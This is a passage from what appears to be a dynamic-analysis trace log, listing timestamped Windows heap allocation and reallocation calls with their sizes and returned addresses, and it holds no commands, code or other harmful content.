Flags=0x8, Ptr=0x33ca438, Size=0x74) returned 0x33c7bc0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0a18 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x78) returned 0x33c7bc0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0a38 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x7c) returned 0x33cfb48 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0a78 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfb48, Size=0x80) returned 0x33cfb48 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0b38 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfb48, Size=0x84) returned 0x33c7d40 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e09d8 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x88) returned 0x33c7d40 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0a98 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x8c) returned 0x33ca620 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0b18 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca620, Size=0x90) returned 0x33ca620 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0b58 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca620, Size=0x94) returned 0x33d19c8 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0b98 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d19c8, Size=0x98) returned 0x33d19c8 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0bb8 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d19c8, Size=0x9c) returned 0x33cbcf0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0bd8 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbcf0, Size=0xa0) returned 0x33cbcf0 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e08d8 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbcf0, Size=0xa4) returned 0x33c3c10 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0838 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3c10, Size=0xa8) returned 0x33c3c10 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0878 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3c10, Size=0xac) returned 0x33cd9d0 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e08f8 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cd9d0, Size=0xb0) returned 0x33cd9d0 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0918 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cd9d0, Size=0xb4) returned 0x33cb110 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0958 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cb110, Size=0xb8) returned 0x33cb110 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0d68 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cb110, Size=0xbc) returned 0x33cb110 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0f68 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cb110, Size=0xc0) returned 0x33cb110 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1008 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cb110, Size=0xc4) returned 0x33cb110 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0f28 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d83e0, Size=0x1c) returned 0x33d8af8 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0d88 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0e48 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ee8 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0xc) returned 0x33d2518 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0f88 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2518, Size=0x10) returned 0x33d2548 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0d48 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2548, Size=0x14) returned 0x33e0e28 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0c88 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e0e28, Size=0x18) returned 0x33e0da8 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0e68 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e0da8, Size=0x1c) returned 0x33d8b20 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0c28 [0053.805] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8b20, Size=0x20) returned 0x33d8800 [0053.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ce8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8800, Size=0x24) returned 0x33d1cc8 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ca8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1cc8, Size=0x28) returned 0x33d1b48 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0e88 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1b48, Size=0x2c) returned 0x33cbe38 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ec8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbe38, Size=0x30) returned 0x33cbf50 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0fa8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbf50, Size=0x34) returned 0x33df8d8 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ea8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df8d8, Size=0x38) returned 0x33dff18 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0cc8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33dff18, Size=0x3c) returned 0x33d0300 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0c48 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0300, Size=0x40) returned 0x33d0348 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0f48 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0348, Size=0x44) returned 0x33d2c08 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0da8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2c08, Size=0x48) returned 0x33d2d48 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0dc8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2d48, Size=0x4c) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0c68 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x50) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0fc8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x54) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0d08 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x58) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0de8 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x5c) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0d28 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x60) returned 0x33d12c0 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0e08 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x64) returned 0x33c3eb8 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0e28 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x68) returned 0x33c3eb8 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0f08 [0053.806] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x6c) returned 0x33ca438 [0053.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0fe8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca438, Size=0x70) returned 0x33ca438 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e13a8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca438, Size=0x74) returned 0x33c7bc0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1368 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x78) returned 0x33c7bc0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1028 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x7c) returned 0x33cfb48 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e13c8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfb48, Size=0x80) returned 0x33cfb48 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1048 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfb48, Size=0x84) returned 0x33c7d40 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e10c8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x88) returned 0x33c7d40 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e10e8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x8c) returned 0x33ca620 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1128 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca620, Size=0x90) returned 0x33ca620 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e11c8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca620, Size=0x94) returned 0x33d19c8 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1108 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d19c8, Size=0x98) returned 0x33d19c8 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1148 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d19c8, Size=0x9c) returned 0x33cbcf0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1168 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbcf0, Size=0xa0) returned 0x33cbcf0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1388 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbcf0, Size=0xa4) returned 0x33c3c10 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1188 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3c10, Size=0xa8) returned 0x33c3c10 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e11e8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3c10, Size=0xac) returned 0x33cd9d0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e11a8 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cd9d0, Size=0xb0) returned 0x33cd9d0 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1208 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cd9d0, Size=0xb4) returned 0x33d0438 [0053.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1228 [0053.807] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xb8) returned 0x33d0438 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1248 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xbc) returned 0x33d0438 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1068 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xc0) returned 0x33d0438 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1268 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xc4) returned 0x33d0438 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1288 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xc8) returned 0x33d0438 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e12a8 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0438, Size=0xcc) returned 0x33ca4f8 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e12c8 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca4f8, Size=0xd0) returned 0x33ca4f8 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e12e8 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca4f8, Size=0xd4) returned 0x33c3a00 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1308 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3a00, Size=0xd8) returned 0x33c3a00 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1328 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3a00, Size=0xdc) returned 0x33d0850 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1348 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0850, Size=0xe0) returned 0x33d0850 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1088 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0850, Size=0xe4) returned 0x33d15c0 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e10a8 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d15c0, Size=0xe8) returned 0x33d15c0 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d83e0 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d15c0, Size=0xec) returned 0x33d15c0 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1e50 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d15c0, Size=0xf0) returned 0x33d15c0 [0053.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1cb0 [0053.808] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d15c0, Size=0xf4) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1d70 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c8960, Size=0xf8) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1db0 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c8960, Size=0xfc) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1c50 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c8960, Size=0x100) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1e90 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c8960, Size=0x104) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1d30 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c8960, Size=0x108) returned 0x33c8960 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1e10 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8af8, Size=0x20) returned 0x33d8b20 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1ef0 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1cd0 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1d10 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0xc) returned 0x33d2518 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1d50 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2518, Size=0x10) returned 0x33d2548 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1e70 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2548, Size=0x14) returned 0x33e1e30 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1d90 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e1e30, Size=0x18) returned 0x33e1dd0 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1fb0 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e1dd0, Size=0x1c) returned 0x33d8800 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1fd0 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8800, Size=0x20) returned 0x33d8918 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1c70 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8918, Size=0x24) returned 0x33d1b48 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1c90 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1b48, Size=0x28) returned 0x33d1ba8 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1eb0 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1ba8, Size=0x2c) returned 0x33cbdc8 [0053.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1c30 [0053.809] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbdc8, Size=0x30) returned 0x33cc148 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1ed0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc148, Size=0x34) returned 0x33dfed8 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1dd0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33dfed8, Size=0x38) returned 0x33dfcd8 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1f10 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33dfcd8, Size=0x3c) returned 0x33d0300 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1df0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0300, Size=0x40) returned 0x33cfc40 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1f30 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfc40, Size=0x44) returned 0x33d2988 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1cf0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2988, Size=0x48) returned 0x33d29d8 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1f50 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d29d8, Size=0x4c) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1e30 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x50) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1f70 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x54) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1f90 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x58) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1bf0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x5c) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1b50 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x60) returned 0x33d12c0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e18d0 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x64) returned 0x33c3eb8 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1890 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x68) returned 0x33c3eb8 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1910 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x6c) returned 0x33ca438 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1a70 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca438, Size=0x70) returned 0x33ca438 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1a90 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca438, Size=0x74) returned 0x33c7bc0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1c10 [0053.810] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x78) returned 0x33c7bc0 [0053.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1930 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7bc0, Size=0x7c) returned 0x33cfb48 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1b70 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, 